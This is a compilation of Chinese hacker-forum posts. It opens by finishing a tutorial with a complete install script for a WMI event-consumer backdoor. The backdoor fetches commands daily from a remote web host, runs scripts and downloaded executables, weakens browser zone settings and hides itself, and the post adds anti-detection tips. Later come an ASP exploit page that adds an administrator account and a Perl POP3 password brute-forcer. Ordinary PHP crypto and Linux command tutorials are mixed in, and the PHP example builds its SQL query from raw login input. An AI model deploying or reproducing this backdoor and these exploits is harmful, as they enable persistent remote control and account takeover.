使用'vbs的好处是不用生成文件，而且可以直接利用后门中已经创建的对象，比如shl，但也因此不能用WScript根对象。
下面的'vbs命令文件把"本地帐户的共享和安全模式"由"仅来宾"改为"经典"（对XP和2003有效）：
Codz:
'vbs
shl.regwrite "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\forceguest",0,"REG_DWORD"

注意，vbs和wsh前面都有一个单引号，因为整个命令文件都作为脚本执行，所以必须注释掉第一行，:bat也是一样。
使用'vbs时千万注意不要有语法错误，否则会使后门出错并停止。如果是复杂的脚本，建议使用'wsh。
将核心代码改写为单行字符串格式，就可以作为ASEC的实例安装了。改写时要注意"if"和"end if"配对以及去掉续行符。
完整的安装脚本代码如下：
Codz:
'***以下为参数配置，请根据情况自行修改***'
nslink="winmgmts:\.\root\cimv2:" '名字空间'
doorname="vbscript_backdoor" '记住后门的名字，卸载时需要'
runinterval=86400000 '每天运行一次'
cmdu="http://myweb.8866.org/cmd.txt" '命令文件的位置'
cmdw=4000 '文件下载超时时间'
cmdl="HKLM\SOFTWARE\Microsoft\WBEM\CIMOM\CmdLength" '保存命令长度的键值名'
'***参数配置结束***'
createobject("WScript.Shell").regwrite cmdl,0,"REG_DWORD"
'脚本后门核心代码'
stxt="cmdu="""&cmdu&""":cmdw="&cmdw&":cmdl="""&cmdl&""":on error resume next:set shl=createobject(""WScript.Shell""):set aso=createobject(""ADODB.Stream""):set ie=createobject(""InternetExplorer.Application""):zone=""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones"":set1=zone&""01"":set2=zone&""00"":set3=zone&""\CurrentLevel"":val1=shl.regread(set1):val2=shl.regread(set2):val3=shl.regread(set3):regd=""REG_DWORD"":shl.regwrite set1,0,regd:shl.regwrite set2,0,regd:shl.regwrite set3,0,regd:ie.visible=0:ie.navigate ""about""&"":blank"":ie.document.write ""<script>function whr(){return new ActiveXObject('WinHttp.WinHttpRequest.5.1')}</script>"":with ie.document.script.whr():.settimeouts cmdw,cmdw,cmdw,cmdw:.open ""GET"",cmdu,true:.send:if not .waitforresponse(cmdw) then die:end if:if .status>299 then die:end if:rt=.responsetext:if len(rt)=shl.regread(cmdl) then die:end if:shl.regwrite cmdl,len(rt),regd:cmds=split(rt,vbcrlf,-1):if ubound(cmds)<1 then die:end if:cmdt=lcase(trim(cmds(0))):aso.type=1:aso.open:cd=shl.currentdirectory&chr(92):select case cmdt:case ""'vbs"":execute(rt):die:case "":bat"":aso.write .responsebody:aso.savetofile cd&""_.bat"",2:aso.close:shl.run chr(34)&cd&""_.bat"""""",0:die:case ""'wsh"":aso.write .responsebody:aso.savetofile cd&""_.vbs"",2:aso.close:shl.run ""cscript.exe """"""&cd&""_.vbs"""""",0:die:case ""exe"":case else die:end select:if ubound(cmds)<4 then die:end if:.open ""GET"",cmds(1),true:.send:if not .waitforresponse(cmds(2)) then die:end if:if .status>299 then die:end if:path=shl.expandenvironmentstrings(cmds(3)):aso.write .responsebody:aso.savetofile path,2:aso.close:shl.run chr(34)&path&"""""" ""&cmds(4),0:end with:die:sub die:ie.quit:shl.regwrite set1,val1,regd:shl.regwrite set2,val2,regd:shl.regwrite set3,val3,regd:for each ps in getobject(""winmgmts:\.\root\cimv2:win32_process"").instances_:if lcase(ps.name)=""scrcons.exe"" then ps.terminate:end if:next:end sub"
'配置事件消费者'
set
        asec=getobject(nslink&"ActiveScriptEventConsumer").spawninstance_
asec.name=doorname&"_consumer"
asec.scriptingengine="vbscript"
asec.scripttext=stxt
set
        asecpath=asec.put_
'配置计时器'
set itimer=getobject(nslink&"__IntervalTimerInstruction").spawninstance_
itimer.timerid=doorname&"_itimer"
itimer.intervalbetweenevents=runinterval
itimer.skipifpassed=false
itimer.put_
'配置事件过滤器'
set
        evtflt=getobject(nslink&"__EventFilter").spawninstance_
evtflt.name=doorname&"_filter"
evtflt.query="select * from
        __timerevent where timerid="""&doorname&"_itimer"""
evtflt.querylanguage="wql"
set fltpath=evtflt.put_
'绑定消费者和过滤器'
set fcbnd=getobject(nslink&"__FilterToConsumerBinding").spawninstance_
fcbnd.consumer=asecpath.path
fcbnd.filter=fltpath.path
fcbnd.put_
wscript.echo "安装完成"

与前一个永久事件处理过程不同的是，脚本后门的事件源是计时器，在每个名字空间都可以实例化并触发事件。所以，不一定要将ASEC安装到root\cimv2。特别是XP/2003，ASEC默认已经安装到root\subscription，只需要相应修改nslink的值，就可以安装脚本后门了。
卸载脚本后门：
Codz:
cmdl="HKLM\SOFTWARE\Microsoft\WBEM\CIMOM\CmdLength"
createobject("WScript.Shell").regdelete cmdl '删除保存命令长度的键值'
nslink="winmgmts:\.\root\cimv2:"
doorname="vbscript_backdoor" '根据脚本后门的名字找到各个对象实例'
myconsumer=doorname&"_consumer"
mytimer=doorname&"_itimer"
myfilter=doorname&"_filter"
set binds=getobject(nslink&"__FilterToConsumerBinding").instances_
for each bind in binds
if strcomp(right(bind.consumer,len(myconsumer)+1),myconsumer&chr(34),1)=0 _
and strcomp(right(bind.filter,len(myfilter)+1),myfilter&chr(34),1)=0 then
bind.delete_
exit for
end if
next
getobject(nslink&"ActiveScriptEventConsumer.Name="""&myconsumer&"""").delete_
getobject(nslink&"__IntervalTimerInstruction.TimerId="""&mytimer&"""").delete_
getobject(nslink&"__EventFilter.Name="""&myfilter&"""").delete_
wscript.echo "卸载完成"

几点补充说明：
1，脚本后门的优势在于隐蔽，所以24小时才运行一次是合适的。不用担心因为系统关机而错过运行机会，下次启动时会补上的。
2，为了更好的反查杀，可以给脚本后门的核心代码加壳。在功能上也可以改进到接近IRC木马的程度，只不过服务端是Web服务器，不能同时养太多的马。
3，脚本后门的自启动和运行依赖于WMI服务，虽然禁用WMI服务就可以杜绝此类后门和木马，但比起通过注册表启动还是可靠的多。如果被蠕虫病毒利用，恐怕会很麻烦吧。

【结语】
Windows脚本就像万能胶，能够把独立的程序、服务、控件组合起来完成任务。脚本编程的技巧就是组合的技巧。XP和2003比2000自带更多的命令行工具，WMI也大大加强了，脚本的功能水涨船高，可以说是“只有想不到，没有做不到”。一切有待你的发掘。
最后，感谢你耐心看完本文，希望本文可以为你学习Windows脚本提供一些帮助。
欢迎来信与我交流 zzzevazzz@126.com
欢迎访问幻影旅团 http://www.ph4nt0m.org

【参考资料】
[1] 《Windows脚本技术》 介绍Windows脚本的基础知识
http://download.microsoft.com/downl...CN/scd56chs.exe
[2] WMITools　学习脚本必备，包括CIM Studio、Event Registration、Event Viewer和Object Browser四个工具
http://download.microsoft.com/downl...US/WMITools.exe
[3] 《WMI技术指南》 出版社：机械工业出版社 作者：Marcin Policht
http://www.huachu.com.cn/itbook/itb...lbbh=BH99801035
[4] 《System Administration Scripting Guide》 包含大量WMI脚本示例
http://www.sometips.com/soft/script_repository.chm
[5] Script Encoder 官方脚本编码工具
http://download.microsoft.com/downl...CN/sce10chs.exe
[6] 微软脚本中心
http://www.microsoft.com/china/tech...er/default.mspx
[7] 《MS Windows Script Host 2.0 Developers Guide》
http://www.sometips.com/soft/wsh.zip


PHP数据加密

作者：宁愿冷酷到底 发表时间：2002/09/07 02:43pm

数据加密在我们生活中的地位已经越来越重要了，尤其是考虑到在网络上发生的大量 交易和传输的大量数据。如果对于采用安全措施有兴趣的话，也一定会有兴趣了解PHP提供的一系列安全功能。在本篇文章中，我们将介绍这些 功能，提供一些基本的用法，以便你能够为自己的应用软件中增加安全功能。
预备知识
在详细介绍PHP的安全功能之 前，我们需要花点时间来向没有接触过这方面内容的读者介绍一些有关密码学的基本知识，如果对密码学的基本概念已经非常熟悉，就可以跳 过去这一部分。
密码学可以通俗地被描述为对加/解密的研究和实验，加密是将易懂的资料转换为不易懂资料的过程，解密 则是将不易懂的资料转换为原来易懂资料的过程。不易懂的资料被称作密码，易懂的资料被称作明码。
数据的加/解密都需 要一定的算法，这些算法可以非常地简单，如著名的凯撒码，但当前的加密算法要相对复杂得多，其中一些利用现有的方法甚至是无法破译的 。

PHP的加密功能
只要有一点使用非Windows平台经验的人可能对crypt()也相当熟悉，这一函数完成被称作单向加密 的功能，它可以加密一些明码，但不能够将密码转换为原来的明码。尽管从表面上来看这似乎是一个没有什么用处的功能，但它的确被广泛用 来保证系统密码的完整性。因为，单向加密的口令一旦落入第三方人的手里，由于不能被还原为明文，因此也没有什么大用处。在验证用户输 入的口令时，用户的输入采用的也是单向算法，如果输入与存储的经加密后的口令相匹配，则输入的口信一定是正确的。
PHP同样提供了使用其crypt()函数完成单向加密功能的可能性。我将在这里简要地介绍该函数：
string crypt (string input_string [, string salt])
其中的input_string参数是需要加密的字符串，第二个可选的salt是一个位字串，它能够影响 加密的暗码，进一步地排除被称作预计算攻击的可能性。缺省情况下，PHP使用一个2个字符的DES干扰串，如果你的系统使用的是MD5（我将在 以后介绍MD5算法），它会使用一个12个字符的干扰串。顺便说一下，可以通过执行下面的命令发现系统将要使用的干扰串的长度：
print "My system salt size is: ". CRYPT_SALT_LENGTH;
系统也可能支持其他的加密算法。crypt()支持四 种算法，下面是它支持的算法和相应的salt参数的长度：
算法　　　　　 Salt长度
CRYPT_STD_DES　2-character (Default)
CRYPT_EXT_DES　9-character
CRYPT_MD5　　　12-character beginning with $1$
CRYPT_BLOWFISH 16-character beginning with $2$

用crypt()实现用户身份验证
作为crypt()函数的一个例子，考虑这样一种情况，你希望创建一段PHP脚本程序限 制对一个目录的访问，只允许能够提供正确的用户名和口令的用户访问这一目录。我将把资料存储在我喜欢的数据库MySQL的一个表中。下面我 们以创建这个被称作members的表开始我们的例子：
mysql>CREATE TABLE members (
->username CHAR(14) NOT NULL,
->password CHAR(32) NOT NULL,
->PRIMARY KEY(username)
->);
然后，我们假定下面的数据已经存储在该表中：
用户名 密码
clark　keloD1C377lKE
bruce　ba1T7vnz9AWgk
peter　paLUvRWsRLZ4U
这些加密的口令对应的明码分别是kent、banner和parker。注意一下每个口令的前二个字母， 这是因为我使用了下面的代码，根据口令的前二个字母创建干扰串的：
$enteredPassword.
$salt =
        substr($enteredPassword, 0, 2);
$userPswd = crypt($enteredPassword,
        $salt);
// $userPswd然后就和用户名一起存储在MySQL 中
我将使用Apache的口令-应答认证配置提示用户输入用户名和口令，一个鲜为人知的有关PHP的信息是，它可以把Apache 的口令-应答系统输入的用户名和口令识别为$PHP_AUTH_USER和$PHP_AUTH_PW，我将在身份验证脚本中用到这二个变量。花一些时间仔细阅读下 面的脚本，多注意一下其中的解释，以便更好地理解下面的代码：
crypt()和Apache的口令-应答验证系统的应用
$host = "localhost";
$user = "zorro";
$pswd = "hell odolly";
$db = "users";
// Set authorization to False
$authorization = 0;
// Verify that user has entered username and password
if (isset($PHP_AUTH_USER) && isset($PHP_AUTH_PW)) :
mysql_pconnect($host, $user, $pswd) or die("Can\'t connect to MySQL
server!");
mysql_select_db($db) or die("Can\'t select database!");
// Perform the encryption
$salt =
        substr($PHP_AUTH_PW, 0, 2);
$encrypted_pswd = crypt($PHP_AUTH_PW,
        $salt);
// Build the query
$query = "SELECT username FROM members WHERE
username = \'$PHP_AUTH_USER\' AND
password = \'$encrypted_pswd\'";
// Execute the query
if (mysql_numrows(mysql_query($query)) == 1) :
$authorization = 1;
endif;
endif;
// confirm authorization
if (! $authorization) :
header(\'WWW-Authenticate: Basic realm="Private"\');
header(\'HTTP/1.0 401 Unauthorized\');
print "You are unauthorized to enter this area.";
exit;
else :
print "This is the secret data!";
endif;
?>
上面就是一个核实用户访问权限的简单身份验证系统。在使用crypt()保护重要的机密资料时，记住在缺省状态下使用的 crypt()并不是最安全的，只能用在对安全性要求较低的系统中，如果需要较高的安全性能，就需要我在本篇文章的后面介绍的算法。
下面我将介绍另一个PHP支持的函数━━md5()，这一函数使用MD5散列算法，它有几种很有趣的用法值得一提：

混编
一个混编函数可以将一个可变长度的信息变换为具有固定长度被混编过的输出，也被称作“信息文摘”。这是十分有用的，因为 一个固定长度的字符串可以用来检查文件的完整性和验证数字签名以及用户身份验证。由于它适合于PHP，PHP内置的md5()混编函数将把一个可 变长度的信息转换为128位（32个字符）的信息文摘。混编的一个有趣的特点是不能通过分析混编后的信息得到原来的明码，因为混编后的结果 与原来的明码内容没有依赖关系。 即便只改变一个字符串中的一个字符，也将使得MD5混编算法计算出二个截然不同的结果。我们首先来看下 表的内容及其相应的结果：

使用md5()混编字符串
$msg = "This is some message that I just
        wrote";
$enc_msg = md5($msg);
print "hash: $enc_msg ";
?>
结果：
hash: 81ea092649ca32b5ba375e81d8f4972c
注意，结果的长度为32个字符。再来看一下下面的表，其中的$msg的值有了一点 微小的变化：
使用md5()对一个稍微变化的字符串进行混编
//注意，message中少了一个s
$msg = "This is some
        mesage that I just wrote";
$enc_msg = md5($msg);
print "hash2:
        $enc_msg
";
?>
结果：
hash2: e86cf511bd5490d46d5cd61738c82c0c
可以 发现，尽管二个结果的长度都是32个字符，但明文中一点微小的变化使得结果发生了很大的变化，因此，混编和md5()函数是检查数据中微小变 化的一个很好的工具。
尽管crypt()和md5()各有用处，但二者在功能上都受到一定的限制。在下面的部分中，我们将介绍 二个非常有用的被称作Mcrypt和Mhash的PHP扩展，将大大拓展PHP用户在加密方面的选择。
尽管我们在上面的小节中说明了 单向加密的重要性，但有时我们可能需要在加密后，再把密码数据还原成原来的数据，幸运的是，PHP通过Mcrypt扩展库的形式提供了这种可能 性。
Mcrypt
Mcrypt 2.5.7 Unix | Win32
Mcrypt 2.4.7是一个功能强大的加密算法扩展库，它包括有22种算法 ，其中就包括下面的几种算法：
Blowfish RC2 Safer-sk64 xtea
Cast-256 RC4 Safer-sk128
DES RC4-iv Serpent
Enigma Rijndael-128 Threeway
Gost Rijndael-192 TripleDES
LOKI97 Rijndael-256 Twofish
PanamaSaferplus Wake
安装：
在标准的PHP软件包中不包括Mcrypt，因此需要下载它，下载的地址为：ftp://argeas.cs-net.gr/pub/unix/mcrypt/ 。下载后，按照下面的方法进行编译，并把它扩充在PHP中：
下载Mcrypt软件包。
gunzipmcrypt-x.x.x.tar.gz
tar -xvfmcrypt-x.x.x.tar
./configure --disable-posix-threads
make
make install
cd to your PHP directory.
./configure -with-mcrypt=[dir] [--other-configuration-directives]
make
make install
当然了，根据你的 要求和PHP安装时与互联网服务器软件的关系，上面的过程可能需要作适当的修改。

使用Mcrypt
Mcrypt的优点不仅仅 在于其提供的加密算法较多，还在于它可以对数据进行加/解密处理，此外，它还提供了35种处理数据用的函数。尽管对这些函数进行详细介绍 已经超出了这篇文章的范围，我还是要就几个典型的函数作一下简要的介绍。
首先，我将介绍如何使用Mcrypt扩展库对数 据进行加密，然后再介绍如何使用它进行解密。下面的代码对这一过程进行了演示，首先是对数据进行加密，然后在浏览器上显示加密后的数 据，并将加密后的数据还原为原来的字符串，将它显示在浏览器上。
使用Mcrypt对数据进行加、解密

// Designate string to be encrypted
$string = "Applied Cryptography, by Bruce Schneier, is
a wonderful cryptography reference.";
// Encryption/decryption key
$key = "Four
        score and twenty years ago";
// Encryption Algorithm
$cipher_alg = MCRYPT_RIJNDAEL_128;
// Create the initialization vector for added security.
$iv = mcrypt_create_iv(mcrypt_get_iv_size($cipher_alg,
MCRYPT_MODE_ECB), MCRYPT_RAND);
// Output original string
print "Original string: $string
";
// Encrypt $string
$encrypted_string = mcrypt_encrypt($cipher_alg, $key,
$string, MCRYPT_MODE_CBC, $iv);
// Convert to hexadecimal and output to browser
print "Encrypted string: ".bin2hex($encrypted_string)."
";
$decrypted_string = mcrypt_decrypt($cipher_alg, $key,
$encrypted_string, MCRYPT_MODE_CBC, $iv);
print "Decrypted string: $decrypted_string";
?>
执行上面的脚本将会产生下面的输出：
Original string: Applied Cryptography, by Bruce Schneier, is a wonderful cryptography reference.
Encrypted string: 02a7c58b1ebd22a9523468694b091e60411cc4dea8652bb8072 34fa06bbfb20e71ecf525f29df58e28f3d9bf541f7ebcecf62b c89fde4d8e7ba1e6cc9ea24850478c11742f5cfa1d23fe22fe8 bfbab5e
Decrypted string: Applied Cryptography, by Bruce Schneier, is a wonderful cryptography reference.
上面的代码中二个最典型的函数是mcrypt_encrypt()和 mcrypt_decrypt()，它们的用途是显而易见的。我使用了“电报密码本”模式，Mcrypt提供了几种加密方式，由于每种加密方式都有可以影响 密码安全的特定字符，因此每种模式都需要了解。对于没有接触过密码系统的读者来说，可能对mcrypt_create_iv()函数更有兴趣，尽管对这 一函数进行彻底的解释已经超出了本篇文章的范围，但我仍然会提到它创建的初始化向量（hence, iv），这一向量可以使每条信息彼此独立。 尽管不是所有的模式都需要这一初始化变量，但如果在要求的模式中没有提供这一变量，PHP就会给出警告信息。

Mhash扩展库
http://sourceforge.net/projects/mhash/
0.8.3版的Mhash扩展库支持12种混编算法，仔细检查Mhash v.0.8.3的头文件mhash.h可以知道，它支持下面的混编算法：
CRC32 HAVAL160 MD5
CRC32B HAVAL192 RIPEMD160
GOST HAVAL224 SHA1
HAVAL128 HAVAL256 TIGER
安装
象Mcrypt一 样，Mhash也没有包括在PHP软件包中，对于非Windows用户而言，下面是安装过程：
下载Mhash扩展库
gunzipmhash-x.x.x.tar.gz
tar -xvfmhash-x.x.x.tar
./configure
make
make install
cd
./configure -with-mhash=[dir] [--other-configuration-directives]
make
make install
象Mcrypt一样 ，根据PHP在互联网服务器软件上的安装方式，可能需要对Mhash进行其他的配置。
对于Windows用户而言， http://www.php4win.de中有一个很好的包括Mhash扩展库在内的PHP软件包。只要下载并进行解压缩，然后根据其中的readme.first文档中的指 令进行安装即可。

使用Mhash
对信息进行混编非常简单，看一下下面的例子：
$hash_alg = MHASH_TIGER;
$message = "These
        are the directions to the secret fort. Two steps left, three steps
        right, and cha chacha.";
$hashed_message = mhash($hash_alg,
        $message);
print "The hashed message is ". bin2hex($hashed_message);
?>
执行这一段脚本程序将得到下面的输出结果：
The hashed message is 07a92a4db3a4177f19ec9034ae5400eb60d1a9fbb4ade461
在这里使用bin2hex()函数的目的是方便我们理解$hashed_message 的输出，这是因为混编的结果是二进制格式，为了能够将它转化为易于理解的格式，必须将它转换为十六进制格式。
需要 注意的是，混编是单向功能，其结果不依赖输入，因此可以公开显示这一信息。这一策略通常用于让用户比较下载文件和系统管理员提供的文 件，以确保文件的完整性。
Mhash还有其他一些有用的函数。例如，我需要输出一个Mhash支持的算法的名字，由于 Mhash支持的所有算法的名字都以MHASH_开头，因此，可以通过执行如下的代码完成这一任务：
$hash_alg = MHASH_TIGER;
print "This data has been hashed with the".mhash_get_hash_name($hashed_message)."hashing algorithm.";
?>
得到的输出是：
This data has been hashed with the TIGER hashing algorithm.
关于PHP和加密最后需要注意的一个问题
关于PHP和加密需要注意的最后的一个重要问题是在服务器和客户端之间传输的数据 在传输过程中是不安全的！PHP是一种服务器端技术，不能阻止数据在传输过程中泄密。因此，如果想实现一个完整的安全应用，建议选用 Apache-SSL或其他的安全服务器布置。

结论
这篇文章介绍了PHP最有用的功能之一━━数据加密，不仅讨论了PHP内置 的crypt() 和md5()加密函数，还讨论了用于数据加密的功能强大的扩展库━━Mcrypt和Mhash。在这篇文章最后，我需要指出的是，一个真正 安全的PHP应用还应该包括安全的服务器，由于PHP是一种服务器端的技术，因此，在数据由客户端向服务器端进行传输时，它不能保证数据的安全。


蓝屏的原创添加超级用户的.asp代码 凯文改进 Ms未公布的漏洞

信息来源：冰点论坛
作者:凯文 (kevin1986)
<head>.network对象脚本权限提升漏洞利用工具</head>
<form action="useradd.asp" method=post>
用户:<input name="username" type="text" value="kevin1986"><br>
密码:<input name="passwd" type="password"><br>
<input type="submit" Value="添 加">
</form>
<%@codepage=936%>
<%on error resume next
if request.servervariables("REMOTE_ADDR")<>"127.0.0.1" then
response.write "iP !s n0T RiGHt"
else
if request("username")<>"" then
username=request("username")
passwd=request("passwd")
Response.Expires=0
Session.TimeOut=50
Server.ScriptTimeout=3000
set lp=Server.CreateObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.Create("user",username)
od.SetPassword passwd
od.SetInfo
oe.Add oz&"/"&username
if err then
response.write "哎~~今天你还是别买6+1了……省下2元钱买瓶可乐也好……"
else
if instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "&username.stdout.readall),"上次登录")>0 then
response.write "虽然没有错误,但是好象也没建立成功.你一定很郁闷吧"
else
Response.write "OMG!"&username&"帐号居然成了!这可是未知漏洞啊.5,000,000RMB是你的了"
end if
end if
else
response.write "请输入输入用户名"
end if
end if
%>

[ 此贴被EvilOctal在2004-12-13 19:02重新编辑 ]


PERL的模块介绍和应用
=========
[EST] [CGI]
=========
转载请注明出处

NO.1
Sys::Hostname - Try every conceivable way to get hostname
例子：
以下是代码:
use Sys::Hostname;
$host = hostname;
print "Hostname is:$host";
[Ctrl+A 全部选择]

NO.2
Net::POP3 - Post Office Protocol 3 Client class (RFC1939)
例子：
以下是代码:
use Socket;
use
        Net::POP3;
print "Plesase Input POP3
        Host：";
$host=<STDIN>;
print
        "waiting……";
$file1="FTPUSER";
$file2="FTPPASS";
open(FILE,"$file1")||die
        "$file1 not found\n";
while(@user=<FILE>){
foreach
        $user(@user){
chop($user);
open(FILE,"$file2")||die "$file2 not
        found\n";
while(@password=<FILE>){
foreach
        $password(@password){
chop($password);
$pop =
        Net::POP3->new($HOST,Timeout =>60)||die
        "bad!\n";
if($pop){
$a=$POP->login($User,$Password);
$pop->quit;
if
        ($a==1){
print "congratulations! user:$user
        password：$password\n";
exit;
}
}
}
}
}
}
[Ctrl+A 全部选择]
NO.3
Win32::GetOSVersion()
例子：
以下是代码:
use
        Win32;
$a=Win32::GetOSVersion();
if($a==0) print
        "Win32s";
if($a==1) print "Win32s or Windows95 or Windows98 or
        Windows Me";
if($a==2) print "Windows NT 3.51 or Windows NT 4 or
        Windows 2000 or Windows XP or windows .NET Server ";
exit ;
[Ctrl+A 全部选择]
返回的ID值给$a
OS ID MAJOR MINOR
Win32s 0 - -
Windows 95 1 4 0
Windows 98 1 4 10
Windows Me 1 4 90
Windows NT 3.51 2 3 51
Windows NT 4 2 4 0
Windows 2000 2 5 0
Windows XP 2 5 1
Windows .NET Server 2 5 1
这样就可以简单的实现系统判断。
NO.4
Win32::GetOSName()
例子：
以下是代码:
use Win32;
$osname=Win32::GetOSVersion();
print "$osname";
[Ctrl+A 全部选择]
直接输出操作系统版本。

NO.5
Win32::MsgBox(MESSAGE [, FLAGS [, TITLE]])
例子：
以下是代码:
use
        Win32;
$message="黑客基地\nwww.hackbase.com\n";
$flags=4;
$title="消息";
$a=Win32::MsgBox($message
        , $flags , $title);
[Ctrl+A 全部选择]

[flags]
0 = OK
1 = OK and Cancel
2 = Abort, Retry, and Ignore
3 = Yes, No and Cancel
4 = Yes and No
5 = Retry and Cancel
MB_ICONSTOP "X" in a red circle
MB_ICONQUESTION question mark in a bubble
MB_ICONEXCLAMATION exclamation mark in a yellow triangle
MB_ICONINFORMATION "i" in a bubble
弹出对话框,返回操作值给$a，根据$a的值我们可以进行判断，然后进入下一个步骤。

NO.6
Win32::NodeName() -- Returns the Microsoft Network node-name of the current machine.
例子：
以下是代码:
use Win32;
$a=Win32::NodeName();
print "$a";
[Ctrl+A 全部选择]
NO.7
Win32::LoginName()--Returns the username of the owner of the current perl process.
例子：
以下是代码:
use Win32;
$a=Win32::LoginName();
print "$a";
[Ctrl+A 全部选择]
NO.8
use Win32API::File 0.08 qw( :ALL );
例子：
以下是代码:
use Win32API::File 0.08 qw( :ALL );
@roots= getLogicalDrives();
print "@roots";
[Ctrl+A 全部选择]
输出本地机器上的所有的磁盘

NO.9
DeleteFile( $sFileName )
例子：
以下是代码:
use Win32API::File 0.08 qw( :ALL
        );
$s=<STDIN>;
chop($s);
$a=DeleteFile( $s
        );
if($a==1) print "删除文件成功!";

NO.10
注册表操作：
use Win32API::Registry 0.21 qw( :ALL );
RegOpenKeyEx( HKEY_LOCAL_MACHINE, "SYSTEM\\Disk", 0, KEY_READ, $key );
or die "Can't open HKEY_LOCAL_MACHINE\\SYSTEM\\Disk: ",
regLastError(),"\n"; #打开注册表
RegQueryValueEx( $key, "Information", [], $type, $data, [] );
or die "Can't read HKEY_L*MACHINE\\SYSTEM\\Disk\\Information: ",
regLastError(),"\n";
[上面是读取注册表的信息，也可以在上面对注册表进行操作，可以参考perl的帮助文档...]
RegCloseKey( $key )
or die "Can't close HKEY_LOCAL_MACHINE\\SYSTEM\\Disk: ",
regLastError(),"\n";
#关闭注册表


学用Linux命令

作者：宁愿冷酷到底 发表时间：2002/09/12 09:41am

  Linux虽然是免费的，但它的确是一个非常优秀的操作系统，与MS－WINDOWS相比具有可靠、 稳定、速度快等优点,且拥有丰富的根据UNIX版本改进的强大功能。下面，作为一个典型的DOS 和WINDOWS用户，让我们一起来学习Linux的一些主要命令，希望大家能尽快进入到Linux的世界里。

    一、启动
    Linux的启动操作过程和DOS相似(尽管如此，但作为操作系统本身，Linux在启动和退出时所作的工作要比DOS多得多),也可以通过按下Ctrl＋Alt＋Del三键进行热启动。不同的是Linux启动到最后时，需要进行登录。下面是一个典型的登录过程：
    ……
    RedHat Linux release 5.1
    Kernel 2.0.32 on an i686
    login:
    你键入：root<CR>后，计算机显示输口令(password:)，输入你的口令（如果是第一次启动，则是你在安装时所输入的口令)即可。当计算机出现一个“＃”提示 符时，表明你登录成功!
    [root@localhost root]＃_ 　　 Linux提示符
    C:\>_　　　　　　　　　DOS提示符

    二、常用的一些命令：
    1.显示文件目录命令ls(DOS下为DIR)
    在Linux中用ls命令显示文件及目录(当然，你仍然也可用DIR命令，只不过在这里的参数不同)。例如：＃ls<CR>
    root mnt boot dev bin usr xiong tmp etc games
    看起来似乎简单(就相当于DOS中的“DIR／W”)，但你会发现你看到的有些难懂，连哪些是目录哪些是文件都不清楚，哪些又是可执行文件呢?不要紧，请输入：＃ls －F＋root／ mnt／ boot／ dev／ bin／ usr／ xiong＊ tmp／ etc／ games ／ readme
    看清楚了吧，带＊为可执行文件(相当于DOS中的EXE和COM文件)，带／为子目录，其它的为通用文件。另外，我们可用ls －l显示文件目录的详细情况(相当于DOS中的DIR命令)。千万注意区分大小写!!如LS －f;Ls等都是错误的。另外，ls命令还有许多参数，你可以用man ls或ls－－help去进一步了解。

    2.改变当前目录命令cd(DOS下为CD)
    在DOS中，我们可以用C:\>CD\MNT\cdrom或cd\mnt\cdrom
    C:\mnt\cdrom>cd ..或cd..或CD..
    C:\mnt>cd\或C:\mnt>cd \
    而在Linux中为cd ／mnt／cdrom，目录名的大小写必须与实际相同，cd后必须有空格。
    pwd 显示当前目录
    cd .. 必须为小写，必须有空格
    cd ／ 总目录为／，cd与/必须有空格

    3.建立子目录mkdir(DOS下为MD或MKDIR)
    在Linux中只能用mkdir，可用相对路径和绝对路径，请比较：
    C:\>md xiong或md \xiong或md\xiong
    DOS系统
    [root@localhost ／]＃mkdir xiong或mkdir ／xiong
    Linux系统

    4.删除子目录命令rmdir(DOS下为RD)
    在Linux中用rmdir命令删除子目录，例如：
    rmdir ／mnt／cdrom 相当于rd \mnt\cdrom
    注意：同DOS一样，要删除的子目录必须是空的，而且必须在上一级目录中才能删除下一级 子目录。

    5.删除文件命令RM(DOS下为DEL或EARSE)
    在Linux中用RM命令删除文件，例：
        rm ／ucdos.bat 相当于del \ucdos.bat

    6.文件改名命令MV(DOS下为REN或RENAME)
在Linux中用mv命令给文件改名，例：
    mv ／mnt\floppy p相当于 ren \mnt\floppy p
    说明：在Linux中的mv命令除了文件改名外，还有文件移动的功能，请看例子：
    mv ／mnt／floppy ／bin 相当于DOS中的命令 move \mnt\floppy \bin

    7.文件复制命令cp(DOS下为COPY)
    在Linux中用cp命令进行文件复制，例：
    cp ／ucdos／＊ ／fox 相当于copy \ucdos\＊.＊ \fox
    注意：DOS中的＊.＊在Linux中用＊代替。

    8.获取帮助信息命令man(DOS下为HELP)
    在Linux中用man命令获取帮助信息，例：
    man ls 相当于help dir
    ls －－help 相当于dir／

    9.显示文件的内容less(DOS下为TYPE)
    在Linux中用less命令进行文件显示工作，例如，我们要显示man1子目录下的mwm.lx的内容，只需输入：[root@localhost man1]＃less mwm.lx<CR>即可。在Linux中，我们也可用另外一个命令“more”来显示文件内容，例如：more mwm.lx。你会看到，这两个命令非常相似，实际上，less命令的功能要比more强一些，你可以自己去摸索。在Linux中，还提供了两个DOS中没有的阅读文件的命令，它们是head和tail命令，分别用来显示文件的头部和后部的部分内容。使用格式为：head(tail) [m]<filename>，缺省n时，显示10行，例如：
    head ／usr／man／mwm.lx 显示文件mwm.lx前10行的内容
    head 15 ／usr／man／mwm.lx 显示文件mwm.lx前15行的内容
    tail 17 ／usr／man／mwm.lx 显示文件mwm.lx后17行的内容

    10.重定向与管道
    大家知道，在DOS中，我们可以通过重定向与管道方便地进行一些特殊的操作，如：dir>direct将当前目录放入文件direct中；type readme>>direct，将文件readme的内容追加到文件direct中；又如：type readme.txt|more,分页显示文本文件readme.txt的内容。在Linux中的重定向与管道操作同DOS中的操作几乎一样，上面两个例子在Linux中应为：ls>direct; less readme.txt|more(注：实际上，Linux中的more和less命令本身具有分页功能)。

    11.外壳程序(shell)：命令解释器(command)
    在DOS系统中，我们绝大多数用户都是用的command.com这个命令解释器。当然，你也可换用Norton或DOS4.0以后的dosshell。在Linux中，有好几种shell。常见的有：ash,bash,ksh,tcsh,zsh等，从上面的环境变量中SHELL=／bin／bash可以看出你用的是哪种shell，它位于何处。计算机默认的一般是bash。
     以上讲到的仅仅是与DOS功能相似的一些Linux命令，而作为一个多用户、多任务的操作系统，其强大的功能还远不止于此。希望更多的人用上这个优秀的操作系统,相信你一定不会后悔的。前面发的帖子看有气色，所以就在发一贴。


nc的说明及使用

netcat被誉为网络安全界的‘瑞士军刀’，相信没有什么人不认识它吧......
